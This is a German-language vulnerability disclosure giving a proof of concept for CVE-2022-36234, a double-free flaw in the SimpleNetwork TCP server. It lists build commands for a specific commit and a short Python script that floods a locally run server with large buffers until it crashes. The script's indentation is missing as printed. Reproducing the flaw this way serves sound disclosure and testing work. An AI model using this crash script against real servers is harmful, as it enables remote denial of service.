
Proof of Concept für CVE-2022-36234
Es wurde entdeckt, dass der SimpleNetwork TCP Server im Commit 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 eine Double-Free-Schwachstelle enthält, die durch präparierte TCP-Pakete ausgenutzt werden kann. Das Auslösen des Double Free ermöglicht es Clients, einen beliebigen SimpleNetwork TCP Server aus der Ferne zum Absturz zu bringen. In anderen Situationen können Double-Free-Schwachstellen zu undefiniertem Verhalten und unter bestimmten Umständen potenziell zur Codeausführung führen.
Um sicherzustellen, dass Sie die zum Kompilieren der Bibliothek erforderlichen Standard-Build-Werkzeuge haben, installieren Sie die folgenden Pakete (auf den meisten Systemen sind diese bereits installiert):
sudo apt-get install build-essential git
Die Schwachstelle kann reproduziert werden, indem aufeinanderfolgende Anfragen mit einem großen Zeichenpuffer in einem TCP-Paket an den Server gesendet werden. Kompilieren Sie zunächst die Bibliothek 'libSimpleNetwork' und den im Quellcode bereitgestellten Beispielserver:
git clone https://github.com/kashimAstro/SimpleNetwork.git
cd SimpleNetwork
git checkout 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496
cd src
make
cd ../example-server
make
./server 80 1
import socket
host = "localhost"
port = 80 # The same port as used by the server
buf = b'A'*10000
try:
for i in range(50):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
python3 poc.py
Im Erfolgsfall stürzt der Server ab und Sie sehen die folgende Ausgabe der Anwendung:
segmentation fault ./server 80 1